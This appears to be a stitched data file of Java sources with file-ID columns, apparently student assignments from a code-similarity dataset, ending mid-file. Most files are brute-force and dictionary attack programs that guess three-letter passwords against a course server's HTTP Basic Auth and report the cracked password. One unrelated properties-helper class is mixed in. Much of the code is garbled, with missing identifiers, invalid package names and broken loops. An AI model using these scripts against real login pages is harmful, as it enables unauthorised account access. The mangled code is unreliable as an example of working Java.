+import java.io.*;
+import java.*;
+
+ public class BruteForce {
+
+   URLConnection conn = null;
+   private static boolean status = false;
+
+   public static void main (String args[]){
+     BruteForce a = new BruteForce();
+     String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
+     				 """",
+     				 """"};
+     int attempts = 0;
+     exit:
+     for (int i=0;i<pwdArray.length;i++) {
+		 for (int j=0;j<pwdArray.length;j++) {
+			 for (int k=0;k<pwdArray.length;k++) {
+				 if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
+				 if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
+				 inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
+				 attempts++;
+     			 a.doit(inp);
+  
+  				 if (status) {
+					 System.out.println(""Crrect password is: "" + inp[2]);
+					 System.out.println(""Number of attempts = "" + attempts);
+					 break exit;
+			 	 }
+     			 inp[2] = """";
+		 	 }
+	 	 }
+      }
+     }
+
+   public void doit(String args[]) {
+     
+     try {
+       BufferedReader in = new BufferedReader(
+           new InputStreamReader
+              (connectURL(new URL(args[0]), args[1], args[2])));
+       String line;
+       while ((line = in.readLine()) != null) {
+           System.out.println(line);
+           status = true;
+           }
+       }
+     catch (IOException e) {
+   
+       }
+     }
+
+   public InputStream connectURL (URL url, String uname, String pword)
+        throws IOException  {
+     conn = url.openConnection();
+     conn.setRequestProperty (""Authorization"",
+     userNamePasswordBase64(uname,pword));
+     conn.connect ();
+     return conn.getInputStream();
+     }
+
+   public String userNamePasswordBase64(String username, String password) {
+     return "" "" + base64Encode (username + "":"" + password);
+     }
+
+   private final static char pwdArray [] = {
+	        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
+	        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
+	        'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
+	        'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
+	        'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
+	        'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
+	        'W', 'X', 'Y', 'Z', ' '
+  };
+
+   private final static char base64Array [] = {
+       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+       'w', 'x', 'y', 'z', '0', '1', '2', '3',
+       '4', '5', '6', '7', '8', '9', '+', '/'
+  };
+
+   private static String base64Encode (String string)    {
+     String encodedString = """";
+     byte bytes [] = string.getBytes ();
+     int i = 0;
+     int pad = 0;
+     while (i < bytes.length) {
+       byte b1 = bytes [i++];
+       byte b2;
+       byte b3;
+       if (i >= bytes.length) {
+          b2 = 0;
+          b3 = 0;
+          pad = 2;
+          }
+       else {
+          b2 = bytes [i++];
+          if (i >= bytes.length) {
+             b3 = 0;
+             pad = 1;
+             }
+          else
+             b3 = bytes [i++];
+          }
+       byte c1 = (byte)(b1 >> 2);
+       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+       byte c4 = (byte)(b3 & 0x3f);
+       encodedString += base64Array [c1];
+       encodedString += base64Array [c2];
+       switch (pad) {
+        case 0:
+          encodedString += base64Array [c3];
+          encodedString += base64Array [c4];
+          break;
+         case 1:
+          encodedString += base64Array [c3];
+          encodedString += ""="";
+          break;
+        case 2:
+          encodedString += ""=="";
+          break;
+        }
+       }
+       return encodedString;
+   }
+ }
+
+"	"155.java	087.java	243.java"
+021.java	"
+
+
+
+import java.util.*;
+import java.net.*;
+import java.io.*;
+import misc.BASE64Encoder;
+import javax.swing.*;
+
+public class ConnectionThread extends Thread
+{
+    private String         url;
+    private URL            currURL;
+    private URLConnection  conn;
+    private HoldSharedData sharedData;
+    private int            noOfThread;
+    private int            batch;
+
+    public ConnectionThread( String pageURL, int wThread,
+                             int newBatch, HoldSharedData data )
+    {
+        super();
+        url = pageURL;
+        noOfThread = wThread;
+        batch = newBatch;
+        sharedData = data;
+    }
+
+    
+    public void run()
+    {
+        try
+        {
+            currURL = new URL( url );
+
+            for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
+                                    (i < sharedData.getPwdCount()); i ++ )
+            {
+                String pwd = sharedData.getPasswordAt( i );
+
+                conn = currURL.openConnection();
+
+                if (conn instanceof HttpURLConnection)
+                {
+	            HttpURLConnection hconn = (HttpURLConnection) conn;
+                    hconn.setFollowRedirects(false);
+                    String cad = "" "" + based64Encoder( "":"" + pwd );
+                    hconn.setRequestProperty( ""Authorization"", cad );
+
+                    hconn.connect();
+	            int response = hconn.getResponseCode();
+                    sharedData.setNumOfConnections();
+
+                    if( response == 200 )
+                    {
+                         totalTime = System.currentTimeMillis() -
+                                           sharedData.getStartTime();
+                        int numOfConnections = sharedData.getNumOfConnections();
+
+                        System.out.println( ""Password is "" + pwd );
+                        System.out.println( ""Total Time(seconds)= "" +
+                                            (double)totalTime/1000 );
+                        System.out.println( ""Total Number Of Connections: "" +
+                                                          numOfConnections );
+                        System.exit(0);
+                    }
+                    else
+                    {
+                        hconn.disconnect();
+                    }
+                }
+            }
+        }
+        catch( MalformedURLException mue )
+        {
+            String msg = ""Unable  parse URL: "" + url;
+            System.err.println( msg );
+        }
+        catch( IOException ioe )
+        {
+            System.err.println( ""I/O Error : "" + ioe );
+        }
+    }
+
+    private String based64Encoder( String pwd )
+    {
+        
+        String str = pwd;
+        byte[] buf = str.getBytes();
+        String encodedStr = new misc.BASE64Encoder().encode(buf);
+
+
+        return encodedStr;
+    }
+}  "	014.java
+051.java	"import java.io.*;
+import java.net.*;
+import java.*;
+import java.Runtime.*;
+import java.Object.*;
+import java.util.*;
+import java.util.StringTokenizer;
+
+public class Dictionary 
+{
+  String uname = """";
+  String pword = ""null"";
+  Vector v = new Vector();
+   int runTime;
+  public void doConnect(String connect, int num)
+  {
+    String  = connect;
+    
+    try
+     {
+       URL secureSite = new URL();
+       URLConnection connection = secureSite.openConnection();
+       if (uname != null || pword != null)
+	  {
+	   
+	    for(int i=num; i<v.size(); i++)
+	    {
+	      pword = (String)v.elementAt(i);
+	      String up = uname + "":"" + pword;
+            String encoding;
+            try
+		{
+		  connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
+		  encoding = encoder.encode (up.getBytes());
+		 
+           }
+	     catch (Exception ex) 
+            {
+		  Base64Converter encoder = new Base64Converter();
+		  System.out.println(""in catch"");
+              encoding = encoder.encode(up.getBytes());
+           }
+	     connection.setRequestProperty (""Authorization"", "" "" + encoding);
+           connection.connect();
+           if(connection instanceof HttpURLConnection)
+	     {
+	       HttpURLConnection httpCon=(HttpURLConnection)connection;
+             if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
+		  {
+		   System.out.println(""Not authorized - check  for details"" + "" -Incorrect Password : "" + pword);
+	         doConnect(i, i+1);
+	       }
+		else
+		 { 
+		  System.out.println(""\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"");
+	        System.out.println( +""\tPassword : ""+ pword);
+
+              runTime = System.currentTimeMillis() - runTime; 
+              System.out.println(""Time taken  crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken  crack password : ""+ i);
+	        System.exit(0);
+	      }
+	    }
+	  }
+      }
+    }
+    catch(Exception ex)
+    {
+      ex.printStackTrace();
+    }
+  }
+  public Vector getPassword()
+  {
+    try
+    {
+      ReadFile  rf = new ReadFile();
+      rf.loadFile();
+      v = rf.getVector();
+    }
+    catch(Exception ex)
+    {
+      ex.printStackTrace();
+    }
+    return v;
+  } 
+  public void setTimeTaken( int timetaken)
+  {
+    runTime = timetaken;
+  }   
+  public static void main ( String args[] ) throws IOException 
+  {
+    
+     runTime1 = System.currentTimeMillis();     
+    Dictionary newDo = new Dictionary();
+    newDo.setTimeTaken(runTime1);
+    newDo. getPassword();
+    String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+    newDo.doConnect(site, 0);
+    
+  }  
+  
+}
+
+class  Base64Converter
+      {
+  
+          public final char [ ]  alphabet = {
+              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
+              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
+              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
+              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
+              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
+              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
+              'w', 'x', 'y', 'z', '0', '1', '2', '3',   
+              '4', '5', '6', '7', '8', '9', '+', '/' }; 
+  
+  
+          public String  encode ( String  s )
+          {
+              return encode ( s.getBytes ( ) );
+          }
+  
+          public String  encode ( byte [ ]  octetString )
+          {
+              int  bits24;
+              int  bits6;
+  
+              char [ ]  out
+                = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
+  
+              int outIndex = 0;
+              int i        = 0;
+  
+              while ( ( i + 3 ) <= octetString.length ) {
+                  
+                  bits24=( octetString [ i++ ] & 0xFF ) << 16;
+                  bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
+  
+                  bits6=( bits24 & 0x00FC0000 )>> 18;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0000003F );
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+              }
+  
+              if ( octetString.length - i == 2 )
+              {
+                  
+                  bits24  = ( octetString [ i     ] & 0xFF ) << 16;
+                  bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
+                  bits6=( bits24 & 0x00FC0000 )>> 18;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+  
+                  
+                  out [ outIndex++ ] = '=';
+              }
+              else if ( octetString.length - i == 1 )
+              {
+                  
+                  bits24 = ( octetString [ i ] & 0xFF ) << 16;
+                  bits6=( bits24 & 0x00FC0000 )>> 18;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+  
+                  
+                  out [ outIndex++ ] = '=';
+                  out [ outIndex++ ] = '=';
+              }
+  
+              return new String ( out );
+          }
+       }
+  
+  
+"	"257.java	258.java"
+030.java	"
+import java.awt.*;
+import java.util.*;
+import java.awt.event.*;
+import java.io.*;
+import java.net.*;
+
+public class BruteForce
+{
+   private String userPassword;
+   private static int counter;
+
+
+
+
+
+   public BruteForce(String username)
+   {
+    String user;
+    String password;
+    counter = 0;
+    user = username;
+
+
+      for (char i='A';i<='z';i++)
+      {
+           if (i == 'Z')
+                  i = 'a';
+
+          for (char j='A';j<='z';j++)
+          {
+               if (j == 'Z')
+                  j = 'a';
+
+              for (char k='A';k<='z';k++)
+              {
+                userPassword = user+ "":"" + i + j + k;
+
+                if (k == 'Z')
+                  k = 'a';
+
+                  System.out.print(""."");
+
+                  if (doEncoding(userPassword)== true)
+                  {
+                    System.out.println(""\n"" + ""Resultant Password is: "" + i + j + k);
+                    return;
+                  };
+
+                counter++;
+              }
+          }
+       }
+   }
+
+
+
+
+
+   private boolean doEncoding(String userPassword)
+   {
+       String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());
+       return doAttempt(encoding);
+   }
+
+
+
+
+
+   private boolean doAttempt (String encoding)
+   {
+      try
+      {
+         URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+         URLConnection uc = url.openConnection();
+         uc.setDoInput(true);
+         uc.setDoOutput(true);
+
+         uc.setRequestProperty  (""Get"", ""/SEC/2/ "" + ""HTTP/1.1"");
+         uc.setRequestProperty  (""Host"", ""sec-crack.cs.rmit.edu."");
+         uc.setRequestProperty  (""Authorization"", "" "" + encoding);
+
+         return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"");
+       }
+       catch (MalformedURLException e)
+       {
+         System.out.println (""Invalid URL"");
+       }
+       catch (IOException e)
+       {
+         System.out.println (e.toString() );
+       }
+
+       return false;
+   }
+
+
+
+
+
+  public static void  main(String args[])
+   {
+     Date sdate = new Date();
+
+     System.out.print(""BruteForce Attack starts at:"" + sdate + ""\n"");
+
+     BruteForce bf = new BruteForce(args[0]);
+
+     Date edate = new Date();
+     System.out.print(""BruteForce Attack ends at:"" + sdate + ""\n"");
+     System.out.println(""Time taken by BruteForce is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n"");
+     System.out.print(""Attempts  in this session:"" + counter + ""\n"");   }
+}
+
+
+
+
+"	032.java
+175.java	"import java.io.*;
+import java.net.*;
+import java.util.*;
+
+
+public class BruteForce
+{
+
+	public static void main(String args[])
+	{
+		
+		
+        Calendar cal = Calendar.getInstance();
+        Date now=cal.getTime();
+        double startTime = now.getTime();
+
+		String password=getPassword(startTime);
+		System.out.println(""The password is "" + password);
+	}
+
+	public static String getPassword(double startTime)
+	{
+		char first, second, third;
+		String password="""";
+		int requests=0;
+
+		
+		for (int i=65; i<123; i++)
+		{
+			requests++;
+			first = (char) i;
+
+			password = first + """";
+
+			
+			if (testPassword(password, startTime, requests))
+				return password;
+
+			for (int j=65; j<123; j++)
+			{
+				requests++;
+				second = (char) j;
+
+				password = first + """" + second;
+
+				
+				if (testPassword(password, startTime, requests))
+					return password;
+
+				for (int k=65; k<123; k++)
+				{
+					requests++;
+					third = (char) k;
+
+					password = first + """" + second + """" + third;
+
+					
+					if (testPassword(password, startTime, requests))
+						return password;
+
+
+					
+					if (k==90)
+						k=96;
+
+				}
+
+				if (j==90)
+					j=96;
+
+			}
+
+			if (i==90)
+				i=96;
+
+		}
+
+		return password;
+	}
+
+	private static boolean testPassword(String password, double startTime, int requests)
+	{
+		try
+		{
+			
+			
+			URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+			HttpURLConnection connection;
+
+    		String userPassword =  "":"" + password;
+
+    		
+    		String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
+
+			try
+			{
+				
+				connection = (HttpURLConnection) url.openConnection();
+				
+				connection.setRequestProperty(""Authorization"", "" "" + encoding);
+
+				
+				int status=connection.getResponseCode();
+
+				System.out.println(password + requests);
+
+				if (status==200)
+				{
+					System.out.println(""It took "" + getTime(startTime) + "" milliseconds  find the password."");
+					System.out.println("" were "" + requests + "" requests ."");
+
+					return true;
+				}
+
+				return false;
+
+			}
+
+			catch (IOException ioe)
+			{
+				System.out.print(ioe);
+				return false;
+			}
+
+		}
+
+		catch (IOException MalformedURLException)
+		{
+			System.out.print(""Invalid URL"");
+			return false;
+		}
+	}
+
+
+	private static double getTime(double startTime)
+	{
+		
+		
+        Calendar cal = Calendar.getInstance();
+        Date now=cal.getTime();
+        double endTime = now.getTime();
+
+        return endTime-startTime;
+
+	}
+
+}
+"	180.java
+238.java	"
+import java.util.*;
+import java.io.*;
+import java.net.*;
+
+class BruteForce
+{
+
+ public static void main (String a[])
+ {
+ 
+ final char [] alphabet = {
+        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+        'w', 'x', 'y', 'z'};
+
+ String pwd="""";
+ 
+ for(int i=0;i<52;i++)
+ {
+  for(int j=0;j<52;j++)
+  {
+   for(int k=0;k<52;k++)
+   {
+    pwd = alphabet[i]+""""+alphabet[j]+""""+alphabet[k];
+    String userPassword = "":""+pwd;
+    RealThread myTh = new RealThread(i,userPassword);
+    Thread th = new Thread( myTh );
+    th.start();
+    try
+    {
+     
+     
+     th.sleep(100);
+    }
+    catch(Exception e)
+    {} 
+   }
+  }
+ }
+
+
+}
+
+
+}
+
+
+class RealThread implements Runnable
+{
+ private int num;
+ private URL url;
+ private HttpURLConnection uc =null;
+ private String userPassword;
+ private int responseCode = 100;
+ public RealThread (int i, String userPassword)
+ {
+ try
+ {
+ url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+ }
+ catch(Exception ex1)
+ {
+ }
+ num = i;
+ this.userPassword = userPassword;
+
+ }
+ 
+ public int getResponseCode()
+ {
+
+ return this.responseCode;
+ }
+
+ public void run()
+ {
+  try
+  {
+  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
+
+  uc = (HttpURLConnection)url.openConnection();
+  uc.setRequestProperty (""Authorization"", "" "" + encoding);
+  System.out.println(""Reponse  = ""+uc.getResponseCode()+""for pwd = ""+userPassword);
+  this.responseCode = uc.getResponseCode();
+  
+  if(uc.getResponseCode()==200)
+  {
+     System.out.println("" ======= Password Found : ""+userPassword+"" ========================================= "");
+     System.exit(0);
+  }
+
+  }
+  catch (Exception e) {
+  System.out.println(""Could not execute Thread ""+num+"" "");
+  }
+ }
+
+}
+"	240.java
+153.java	"import java.io.*;
+import java.net.*;
+
+public class BruteForce {
+  public static void main(String[] args) {
+      BruteForce brute=new BruteForce();
+      brute.start();
+
+
+     }
+
+
+public void start() {
+char passwd[]= new char[3];
+String password;
+String username="""";
+String auth_data;
+String server_res_code;
+String required_server_res_code=""200"";
+int cntr=0;
+
+try {
+
+URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+URLConnection conn=null;
+
+
+           for (int i=65;i<=122;i++)     {
+               if(i==91) { i=i+6; }
+               passwd[0]= (char) i;
+
+           for (int j=65;j<=122;j++)     {
+              if(j==91) { j=j+6; }
+              passwd[1]=(char) j;
+
+            for (int k=65;k<=122;k++)    {
+                if(k==91) { k=k+6; }
+                passwd[2]=(char) k;
+                password=new String(passwd);
+                password=password.trim();
+                auth_data=null;
+                auth_data=username + "":"" + password;
+                auth_data=auth_data.trim();
+                auth_data=getBasicAuthData(auth_data);
+                auth_data=auth_data.trim();
+                conn=url.openConnection();
+                conn.setDoInput (true);
+                conn.setDoOutput(true);
+                conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1"");
+                conn.setRequestProperty (""Authorization"", auth_data);
+                server_res_code=conn.getHeaderField(0);
+                server_res_code=server_res_code.substring(9,12);
+                server_res_code.trim();
+                cntr++;
+                System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + ""  SERVER RESPONSE  : "" + server_res_code);
+                if( server_res_code.compareTo(required_server_res_code)==0 )
+                {System.out.println(""PASSWORD IS :  "" + password + ""  SERVER RESPONSE  : "" + server_res_code );
+                i=j=k=123;}
+                                           }
+
+                                        }
+
+                                    }
+        }
+     catch (Exception e) {
+           System.err.print(e);
+           }
+  }
+
+public String getBasicAuthData (String getauthdata)    {
+
+char base64Array [] = {
+      'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+      'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+      'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+      'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+      'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+      'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+      'w', 'x', 'y', 'z', '0', '1', '2', '3',
+      '4', '5', '6', '7', '8', '9', '+', '/' } ;
+
+    String encodedString = """";
+    byte bytes [] = getauthdata.getBytes ();
+    int i = 0;
+    int pad = 0;
+    while (i < bytes.length) {
+      byte b1 = bytes [i++];
+      byte b2;
+      byte b3;
+      if (i >= bytes.length) {
+         b2 = 0;
+         b3 = 0;
+         pad = 2;
+         }
+      else {
+         b2 = bytes [i++];
+         if (i >= bytes.length) {
+            b3 = 0;
+            pad = 1;
+            }
+         else
+            b3 = bytes [i++];
+         }
+      byte c1 = (byte)(b1 >> 2);
+      byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+      byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+      byte c4 = (byte)(b3 & 0x3f);
+      encodedString += base64Array [c1];
+      encodedString += base64Array [c2];
+      switch (pad) {
+        case 0:
+         encodedString += base64Array [c3];
+         encodedString += base64Array [c4];
+         break;
+        case 1:
+         encodedString += base64Array [c3];
+         encodedString += ""="";
+         break;
+        case 2:
+         encodedString += ""=="";
+         break;
+       }
+      }
+      return "" "" + encodedString;
+  }
+}"	222.java
+222.java	"
+
+import java.net.*;
+import java.io.*;
+
+public class Base64Encoder
+{
+   private final static char base64Array [] = {
+          'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+          'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+          'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+          'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+          'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+          'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+          'w', 'x', 'y', 'z', '0', '1', '2', '3',
+          '4', '5', '6', '7', '8', '9', '+', '/'
+     };
+
+   public static String encode (String string)
+   {
+      String encodedString = """";
+      byte bytes [] = string.getBytes ();
+      int i = 0;
+      int pad = 0;
+      while (i < bytes.length)
+      {
+         byte b1 = bytes [i++];
+         byte b2;
+         byte b3;
+         if (i >= bytes.length)
+         {
+            b2 = 0;
+            b3 = 0;
+            pad = 2;
+         }
+         else
+         {
+            b2 = bytes [i++];
+            if (i >= bytes.length)
+            {
+               b3 = 0;
+               pad = 1;
+            }
+            else
+               b3 = bytes [i++];
+         }
+
+         byte c1 = (byte)(b1 >> 2);
+         byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+         byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+         byte c4 = (byte)(b3 & 0x3f);
+         encodedString += base64Array [c1];
+         encodedString += base64Array [c2];
+         switch (pad)
+         {
+            case 0:
+               encodedString += base64Array [c3];
+               encodedString += base64Array [c4];
+               break;
+            case 1:
+               encodedString += base64Array [c3];
+               encodedString += ""="";
+               break;
+            case 2:
+               encodedString += ""=="";
+               break;
+         }
+      }
+      return encodedString;
+   }
+}
+"	"153.java	087.java	155.java"
+107.java	"
+
+
+import java.io.InputStream;
+import java.util.Properties;
+
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.rmi.PortableRemoteObject;
+import javax.sql.DataSource;
+
+
+
+
+
+public class WatchdogPropertyHelper {
+
+	private static Properties testProps;
+
+
+
+	public WatchdogPropertyHelper() {
+	}
+
+
+	
+
+	public static String getProperty(String pKey){
+		try{
+			initProps();
+		}
+		catch(Exception e){
+			System.err.println(""Error init'ing the watchddog Props"");
+			e.printStackTrace();
+		}
+		return testProps.getProperty(pKey);
+	}
+
+
+	private static void initProps() throws Exception{
+		if(testProps == null){
+			testProps = new Properties();
+
+			InputStream fis =
+				WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties"");
+			testProps.load(fis);
+		}
+	}
+}
+"	113.java
+044.java	"import java.net.*;
+import java.io.*;
+
+
+public class Dictionary {
+  private String strUserName;
+  private String strURL;
+  private String strDictPath;
+  private int iAttempts;
+
+    
+    public Dictionary(String strURL,String strUserName,String strDictPath) {
+    this.strURL = strURL;
+    this.strUserName = strUserName;
+    this.iAttempts = 0 ;
+    this.strDictPath = strDictPath;
+    }
+  
+
+  public String getPassword(){
+      URL u;
+      String result ="""";
+      PassGenDict PG = new PassGenDict(3,strDictPath);
+      URLConnection uc;
+      String strPassword = new String();
+      String strEncode;
+        try{
+        while (result.compareTo(""HTTP/1.1 200 OK"")!=0){
+      
+          strEncode = PG.getNewPassword();
+          u = new URL(strURL);
+          uc = u.openConnection();
+          uc.setDoInput(true);
+          uc.setDoOutput(true);
+          strPassword = strEncode;
+          strEncode =  strUserName + "":"" + strEncode;
+          
+        strEncode = new String(Base64.encode(strEncode.getBytes()));
+          uc.setRequestProperty(""Authorization"","" "" + strEncode);
+            
+      result = uc.getHeaderField(0);
+          uc = null;
+          u = null;
+          iAttempts++;
+        }
+
+      }
+      catch (Exception me) {
+      System.out.println(""MalformedURLException: ""+me);
+      }
+      return(strPassword);
+  }
+ 
+   public int getAttempts(){
+    return (iAttempts);
+  };
+  
+  public static void  main(String arg[]){
+     timeStart = 0;
+     timeEnd = 0;
+    
+    if (arg.length == 3) {
+    Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);
+
+    System.out.println(""Processing ... "");
+    timeStart = System.currentTimeMillis();
+    System.out.println(""Password = "" + BF.getPassword());
+    timeEnd = System.currentTimeMillis();
+    System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)"");
+    System.out.println(""Total Attempts  = "" + BF.getAttempts());
+    }
+    else {
+       System.out.println(""[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>"");
+
+    }
+
+  }
+}
+
+
+class PassGenDict {
+
+  private char[] password;
+  private String line;
+  int iPassLenght;
+  private BufferedReader inputFile;
+  public PassGenDict(int lenght, String strDictPath) {
+    try{
+      inputFile = new BufferedReader(new FileReader(strDictPath));
+    }
+    catch (Exception e){
+    }
+    iPassLenght = lenght;
+  }
+   
+ public String getNewPassword()
+    throws PasswordFailureException{
+    try {
+      {
+        line = inputFile.readLine();
+      }while (line.length() != iPassLenght);
+
+    }
+    catch (Exception e){
+      throw new PasswordFailureException ();
+    }
+    return (line);
+  }
+}
+
+class PasswordFailureException extends RuntimeException {
+
+  public PasswordFailureException() {
+  }
+}"	042.java
+222.java	"
+
+import java.net.*;
+import java.io.*;
+
+public class Base64Encoder
+{
+   private final static char base64Array [] = {
+          'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+          'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+          'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+          'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+          'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+          'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+          'w', 'x', 'y', 'z', '0', '1', '2', '3',
+          '4', '5', '6', '7', '8', '9', '+', '/'
+     };
+
+   public static String encode (String string)
+   {
+      String encodedString = """";
+      byte bytes [] = string.getBytes ();
+      int i = 0;
+      int pad = 0;
+      while (i < bytes.length)
+      {
+         byte b1 = bytes [i++];
+         byte b2;
+         byte b3;
+         if (i >= bytes.length)
+         {
+            b2 = 0;
+            b3 = 0;
+            pad = 2;
+         }
+         else
+         {
+            b2 = bytes [i++];
+            if (i >= bytes.length)
+            {
+               b3 = 0;
+               pad = 1;
+            }
+            else
+               b3 = bytes [i++];
+         }
+
+         byte c1 = (byte)(b1 >> 2);
+         byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+         byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+         byte c4 = (byte)(b3 & 0x3f);
+         encodedString += base64Array [c1];
+         encodedString += base64Array [c2];
+         switch (pad)
+         {
+            case 0:
+               encodedString += base64Array [c3];
+               encodedString += base64Array [c4];
+               break;
+            case 1:
+               encodedString += base64Array [c3];
+               encodedString += ""="";
+               break;
+            case 2:
+               encodedString += ""=="";
+               break;
+         }
+      }
+      return encodedString;
+   }
+}
+"	"153.java	087.java	155.java"
+228.java	"
+
+import java.io.*;
+import java.*;
+import java.net.*;
+import java.util.*;
+
+public class BruteForce {
+ public static void main (String[] args) throws IOException {
+  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
+
+       int start = new Date().getTime();
+      String[] letters = {""a"",""A"",""b"",""B"",""c"",""C"",""d"",""D"",""e"",""E"",""f"",""F"",""g"",""G"",
+                          ""h"",""H"",""i"",""I"",""j"",""J"",""k"",""K"",""l"",""L"",""m"",""M"",""n"",""N"",
+			  ""o"",""O"",""p"",""P"",""q"",""Q"",""r"",""R"",""s"",""S"",""t"",""T"",""u"",""U"",
+			  ""v"",""V"",""w"",""W"",""x"",""X"",""y"",""Y"",""z"",""Z""};
+      int len = 52;
+      int total = 52;
+      String[] cad = new String[total];
+      int t=0;
+      
+      for (int i=0;i<=len-1;i++){
+	 cad[t] = letters[i];
+	 t++;
+      } 
+      for (int i=0;i<=len-1;i++){
+         for (int j=0;j<=len-1;j++){
+	    cad[t] = letters[j]+letters[i];
+	    t++;
+      }}
+      for (int i=0;i<=len-1;i++){
+       for (int j=0;j<=len-1;j++){
+        for (int k=0;k<=len-1;k++){
+	   cad[t] = letters[k]+letters[j]+letters[i];
+	   t++;
+      }}}
+            
+       int response = 0;
+       for (t=0;t<=total-1;t++){
+        String uname = """";
+        String userinfo = uname + "":"" + cad[t];
+        try{
+         String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());
+         URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+         HttpURLConnection uc = (HttpURLConnection)url.openConnection();
+         uc.setRequestProperty (""Authorization"", "" "" + encoding);
+         response = uc.getResponseCode();
+	 if (response == 200) break;
+	 else uc.disconnect();
+        }
